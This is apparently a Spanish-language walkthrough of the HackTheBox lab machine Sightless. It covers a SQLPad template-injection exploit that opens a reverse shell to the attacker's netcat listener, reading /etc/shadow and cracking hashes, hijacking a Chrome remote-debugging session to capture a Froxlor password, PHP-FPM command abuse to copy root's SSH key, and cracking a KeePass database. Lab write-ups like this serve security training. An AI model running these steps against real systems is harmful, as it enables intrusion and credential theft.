Sightless es una máquina Linux de dificultad fácil que presenta un sitio web para una empresa que ofrece varios servicios. La enumeración del sitio web revela una instancia SQLPad vulnerable a la inyección de plantilla CVE-2022-0944(), que se aprovecha para afianzarse dentro de un contenedor Docker.
Una enumeración adicional revela el archivo /etc/shadow con un hash de contraseña, que se descifra para revelar la contraseña, lo que otorga acceso SSH al host. La enumeración posterior a la explotación revela una instancia Froxlor vulnerable a Blind XSS CVE-2024-34070().
Esto se aprovecha para obtener acceso al servicio FTP, que contiene una base de datos KeePass. El acceso a la base de datos revela las claves SSH raíz, lo que conduce a un shell privilegiado en el host.
También podemos aprovechar para convertirnos en usuario raíz con la función PHP-FPM en Froxlor para obtener una ejecución de código remoto para obtener el id_rsa del usuario raíz.
Reconnaissance
Realizaremos un reconocimiento con Nmap para ver los puertos que están expuestos en la máquina Sightless. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.32 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 00:04 CET
Nmap scan report for 10.10.11.32
Host is up (0.061s latency).
Not shown: 65349 closed tcp ports (reset), 183 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 20.24 seconds
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.32
[*] Open ports: 21,22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Nginx y servicios FTP y SSH.
❯ nmap -sCV -p21,22,80 10.10.11.32 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 00:07 CET
Nmap scan report for 10.10.11.32
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.95%I=7%D=1/17%Time=6789914A%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20Ser
SF:ver\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20try
SF:\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x20b
SF:eing\x20more\x20creative\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 65.03 ms 10.10.16.1
2 32.01 ms 10.10.11.32
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.07 seconds
Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Revisando en el sitio web, verificamos que haciendo hovering en el sitio web, nos encontramos que al parecer existe un sitio web llamado sqlpad.sightless.htb.
Procederemos a realizar una enumeración de directorios básica con la herramienta de dirsearch, verificamos que no logramos obtener ningún resultado esperado.
SQLPad es una aplicación web que permite escribir y ejecutar consultas SQL de manera fácil y visualizar los resultados al instante.
Al revisar más información sobre la versión del SQLPad, verificamos que es una versión vulnerable. Realizando una búsqueda por internet, nos encontramos con el siguiente CVE.
Una inyección de plantillas en el endpoint de prueba de conexión conlleva a un RCE en el repositorio de GitHub sqlpad/sqlpad versiones anteriores a 6.10.1
Por otro lado, también logramos encontrar un repositorio de GitHub donde nos proporcionan un exploit para aprovecharnos de la vulnerabilidad. Procederemos a clonarnos el repositorio en nuestro equipo atacante.
También verificamos el uso del exploit, en el cual nos indica que nos pongamos en escucha con nc por un puerto y al ejecutar el exploit recibiremos en principio una Reverse Shell hacía la máquina.
Tal y como nos indica el PoC del exploit, nos pondremos en escucha por un puerto.
❯ nc -nlvp 443
listening on [any] 443 ...
❯ chmod +x exploit.py
❯ python exploit.py http://sqlpad.sightless.htb/ 10.10.16.5 443
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.
Verificamos nuevamente que hemos recibido correctamente acceso a la máquina, pero al parecer no nos encontramos en la máquina principal. Parece ser que nos encontramos como usuario root en una especia de máquina de Docker que es la que levantaba el servicio de SQLPad.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.32] 59752
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad$ whoami
root
root@c184118df0a6:/var/lib/sqlpad$ hostname -I
172.17.0.2
Initial Access
Procederemos a revisar el archivo /etc/passwd en busca de usuarios que dispongan de una bash, en el resultado obtenido verificamos que el usuario michael dispone de terminal.
Dado que actualmente somos el usuario root, procederemos a revisar el contenido del archivo /etc/passwd el cual contiene las contraseñas de los usuarios, entre las cuales apareecn la del usuario michael.
root@c184118df0a6:/var/lib/sqlpad% cat /etc/shadow | grep michael
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
root@c184118df0a6:/var/lib/sqlpad%
Procederemos a guardarnos en nuestro equipo local el hash del usuario en un archivo llamado hashes.
Al proceder a intentar crackear el hash con la herramienta de hashcat, revisaremos que finalmente logramos crackear el hash y obtener la contraseña en texto plano.
❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
1800 | sha512crypt $6$, SHA512 (Unix) | Operating System
...[snip]...
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse
...[snip]...
Probaremos de acceder al equipo víctima 10.10.11.32 mediante el protocolo SSH con el usuario michael y las credenciales obtenidas y verificamos que hemos logrado acceder al equipo y verificar la flag de user.txt.
❯ ssh michael@10.10.11.32
The authenticity of host '10.10.11.32 (10.10.11.32)' can't be established.
ED25519 key fingerprint is SHA256:L+MjNuOUpEDeXYX6Ucy5RCzbINIjBx2qhJQKjYrExig.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.32' (ED25519) to the list of known hosts.
michael@10.10.11.32's password:
Last login: Tue Sep 3 11:52:02 2024 from 10.10.14.23
michael@sightless:~$ hostname -I
10.10.11.32 172.17.0.1
michael@sightless:~$ cat user.txt
f6c0f150546ac*******************
Privilege Escalation
Discover Internal Web Server (SSH Port Forwarding)
Revisando los puertos que se encuentran abiertos en el equipo local (localhost), verificamos que existen varios puertos inusuales.
Procederemos a realizar Port Forwarding para indicar que nuestro localhost:8080 sea el 127.0.0.1:8080 de la máquina víctima.
❯ ssh -L 8080:127.0.0.1:8080 michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Fri Jan 17 00:03:14 2025 from 10.10.16.5
Desde nuestro equipo al verificar el acceso a http://127.0.0.1:8080, verificamos que es un panel de autenticación de Froxlor.
Froxlor es un Panel de control de servidores multilenguaje, con una interfaz gráfica web que permite administrar, entre otros, los servicios de correo electrónico, dominios y FTP. Está pensado para proveedores de servicios de internet (ISP) o revendedores de servicios de alojamiento web.
Al revisar los archivos habilitados de Froxlor que se encuentran en el equipo víctima, verificamos varios subdominios (admin.sightless.htb y web1.sightless.htb).
Procederemos a añadir estas estradas en nuestro equipo pero en el localhost, debido que estamos realizando Port-Forwaring y añadiendo estas entradas en la dirección IP de la máquina víctima no nos serviría, ya que al Froxlor solamente disponemos de acceso desde nuestro 127.0.0.1 debido al Port Forwarding realizado con SSH.
❯ echo -e '127.0.0.1\t\tadmin.sightless.htb web1.sightless.htb' | sudo tee -a /etc/hosts
127.0.0.1 admin.sightless.htb web1.sightless.htb
Chrome Remote Debugger Pentesting
Revisando los procesos que se encuentran en ejecución en el sistema, verificamos que hay un usuario llamado john que se encuentra ejecutando servicios como Chrome, lo cual parece que se encuentra ahora mismo activo.
Revisando los procesos activos sobre los puertos internos que habíamos descubierto anteriormente, verificamaos que hay un proceso del usuario john que utiliza este puerto interno con un proceso de Chrome, lo cual sugiere que el usuario se encuentra actualmente utilizando el navegdor.
michael@sightless:~$ ps aux | grep '42673'
john 1597 0.4 0.3 33630172 15424 ? Sl Jan16 0:18 /home/john/automation/chromedriver --port=42673
Dado que John está autenticado y visualiza la página web de Froxlor con Chrome en el destino, podemos aprovechar el puerto de herramientas de desarrollo remoto para ver la página como John.
Sin embargo, no está claro en qué puerto está escuchando el depurador, por lo que simplemente reenviaremos varios puertos y los probaremos todos los que encontramos inicialmente.
La función de depuración remota de Chrome permite que el malware obtenga acceso a las cookies después de la explotación. No se requieren privilegios de root. Se trata de una técnica adversarial bastante conocida y de uso común, al menos desde 2018, cuando se lanzó Cookie Crimes.
❯ ssh -L 127.0.0.1:8080:127.0.0.1:8080 -L 127.0.0.1:42673:127.0.0.1:42673 -L 127.0.0.1:36123:127.0.0.1:36123 -L 127.0.0.1:3306:127.0.0.1:3306 -L 127.0.0.1:3000:127.0.0.1:3000 -L 127.0.0.1:39529:127.0.0.1:39529 -L 127.0.0.1:33060:127.0.0.1:33060 michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Fri Jan 17 00:31:24 2025 from 10.10.16.5
Procederemos a acceder con Chromium y accederemos a la siguiente página web.
chrome://inspect/#devices
Al acceder al sitio web, deberemos de configurar el target, para ello le daremos a Configure.
Añadiremos los puertos que hemos realizado Port-Forwarding sober los puertos internos de la máquina víctima.
Al revisar nuevamente, verificamos que logramos obtener la sesión de depuración remota, procederemos a acceder a Inspect.
Al acceder a la depuración remota de Chrome, verificamos que hay una sesión activa al parecer del usuario john, en la cual se encuentra accediendo al Froxlor. Pasado un tiempo, verificamos que cuando el usuario accede, en el apartado de (Network < index.php < Payload) verificamos que logramos obtener la contraseña que está ingresando el usuario.
Verificamos que hemos logrado acceder correctamente al Froxlor con el usuario admin.
Abusing PHP-FPM function to get Remote Code Execution on Froxlor
Después de una larga revisión en el sitio web, verificamos que podemos crear nuevas versiones de PHP que permiten ejecutar comandos para levantar servicios.
Esto lo podemos llevar a nuestro favor para crear una nueva versión la cual no ejecute un comando legítimo, sino un comando que nos interese a nosotros que ejecute.
En este caso, procederemos a realizar que realice una copia de la clave privada SSH del usuario root y lo almacene en la siguiente ruta: /tmp/id_rsa.
Procederemos de acceder a System < Settings < PHP-FPM.
Volveremos a iniciar nuevamente el servicio de PHP-FPM para que ejecute la nueva versión de PHP que hemos creado. Esto lo que hará es cargar esa nueva versión y ejecutar el comando establecido.
Después de un tiempo, verificamos que en el directorio /tmp ha aparecido la clave privada del usuario root. Pero con los permisos que dispone el archivo actualmente, no podemos utilizarlo.
michael@sightless:~$ ls -l /tmp
total 32
-rw------- 1 root root 3381 Jan 17 01:45 id_rsa
...[snip]...
El siguiente paso, será darle los permisos necesarios a la copia de la clave privada para poder utilizarla correctamente. Modificaremos la versión de PHP tal como realizamos anteriormente y volveremos a iniciar el servicio.
Al cabo de un tiempo, verificamos que el archivo id_rsa ha sido modificado correctamente con permisos totales.
michael@sightless:~$ ls -l /tmp
total 32
-rwxrwxrwx 1 root root 3381 Jan 17 01:45 id_rsa
...[snip]...
Procederemos a verificar el contenido de la clave privada SSH del usuario root.
Desde la misma máquina podermos utilizar la clave para autenticarnos como usuario root y ganar el acceso completamente.
michael@sightless:/tmp$ ssh -i id_rsa root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:L+MjNuOUpEDeXYX6Ucy5RCzbINIjBx2qhJQKjYrExig.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Last login: Fri Jan 17 01:52:26 2025 from 10.10.16.5
root@sightless:~# hostname
sightless
También lo que podremos realizar es copiar el contenido de la clave privada en nuestro equipo local, le daremos los permisos necesarios y procederemos a conectarnos. Verificaremos que logramos mostrar el contenido de la flag root.txt.
Después de revisar el WriteUp original una vez que la máquina Sightless se encuentra retirada en HTB, verificamos la ruta de la escalada de privilegios original por la cual estaba planeada la máquina.
En un principio, la ruta que nosotros logramos explotar inicialmente también es válida, ya que nos aprovechanos de las funciones que ofrece Froxlor.
Accesing FTP Server
En la página web de Froxlor, verificamos que en el aprtado de Resources < Customers, aparece que hay un usuario llamado web01.
Al acceder a este usuario dándole en el hipervínculo que nos aparecía, verificamos que tiene acceso a una pestaña llamada FTP < Accounts. Al acceder a esta página, verificamos que existe un usuario llamado web1 que parece indicarnos que es válido pra acceder al FTP que enumeramos principalmente en el escaneo inicial con Nmap.
Al editar la cuenta del usuario de FTP, verificamos que podemos asignarle una contraseña al usurio. En nuestro caso le pondremos: Password01
Procederemos de autenticarnos al servicio FTP con las credenciales web1/Password01 y que ganamos del acceso correcamente.
Enumerando los directorios disponibles en el servicio FTP, verificamos que hay un archivo de una base de datos de Keepass, el cual procederemos a descargarlo de manera local para verificar sobre él.
Cracking and accessing Keepass 1.x vault
Verificamos que abriendo el archivo nos requería de credenciales para acceder a él. Por otro lado, comprobamos que el archivo se trata de una base de datos de Keepass 1.x.
Procederemos a obtener el hash de la contraseña maestra del Keepass a través de la herramienta de keepass2john.
❯ ls -l Database.kdb
.rw-rw-r-- kali kali 5.2 KB Fri Jan 17 02:59:52 2025 Database.kdb
❯ file Database.kdb
Database.kdb: Keepass password database 1.x KDB, 8 groups, 4 entries, 600000 key transformation rounds
❯ keepass2john Database.kdb > hash.txt
Inlining Database.kdb
Con la herramienta de john procederemos a crackear el hash y en este caso nos logra mostrar la contraseña en texto plano.
❯ john --wordlist:/usr/share/wordlists/rockyou.txt hash.txt --format=KeePass
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs (Database.kdb)
1g 0:00:00:53 DONE (2025-01-17 03:04) 0.01854g/s 19.58p/s 19.58c/s 19.58C/s abcd1234..peterpan
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Dado que se trata de una base de datos de Keepass 1.x, deberemos de descargarnos la herramienta de kpcli para poder trabajar con el archivo de la base de datos de contraseñas. Verificaremos que proporcionándole la contraseña maestra abtenida logramos el acceso correctamente.
❯ kpcli --kdb=Database.kdb
Provide the master password: *************************
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/>
Revisamos que disponemos de de un directorio /General/sightless.htb/Backup el cual dispone de un archivo llamado ssh y de unas credenciales.
Procederemos a revisar el archivo ssh, verificamos que existe un archivo llamado id_rsa que parece ser una clave privada SSH, lo exportaremos en nuestro directorio de trabajo.
kpcli:/General/sightless.htb/Backup> attach ssh
Atchm: id_rsa (3428 bytes)
Choose: (a)dd/(e)xport/(d)elete/(c)ancel/(F)inish?
Path to file: /home/kali/Desktop/HackTheBox/Linux/Sightless/content
Saved to: /home/kali/Desktop/HackTheBox/Linux/Sightless/content/id_rsa
Atchm: id_rsa (3428 bytes)
Becoming root with backup of id_rsa file obtained
Le daremos los permisos necesarios a la clave privada encontrada en el directorio Backup, y en este caso nos muestraa un mensaje de eror de libcrypto.
Lo que realizaremos es copiar el contenido de la clave privada en un nuevo archivo llamado root_key para evitar que hayan carácteres extraños en el archivo orignalmente exportada.
Verificaremos que si procedemos nuevamente de conectarnos al SSH mediante la clave privada del usuario root, ganamos acceso a la máquina y visualizamos la flag de root.txt.
❯ chmod 600 root_key
❯ ls -l root_key
.rw------- kali kali 3.3 KB Fri Jan 17 03:17:53 2025 root_key
❯ ssh -i root_key root@10.10.11.32
Last login: Fri Jan 17 01:53:26 2025 from 127.0.0.1
root@sightless:~$ hostname
sightless
root@sightless:~$ cat /root/root.txt
13f****************************
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts, debido que en el resultado de Nmap, nos aparecía que el sitio web nos redirigía a .
Procederemos a acceder a y procederemos a investigar sobre el sitio wbe.
Al acceder a y revisar información sobre el sitio web, nos damos cuenta que se trata de una aplicación web de SQLPad.
Le daremos permisos de ejecución al exploit, procederemos a utilizarlo proporcionándole la URL del SQLPad () y nuestra dirección y el puerto donde estamos escuchando con nc.
Probaremos de acceder con las credenciales obtenidas desde nuestro equipo a .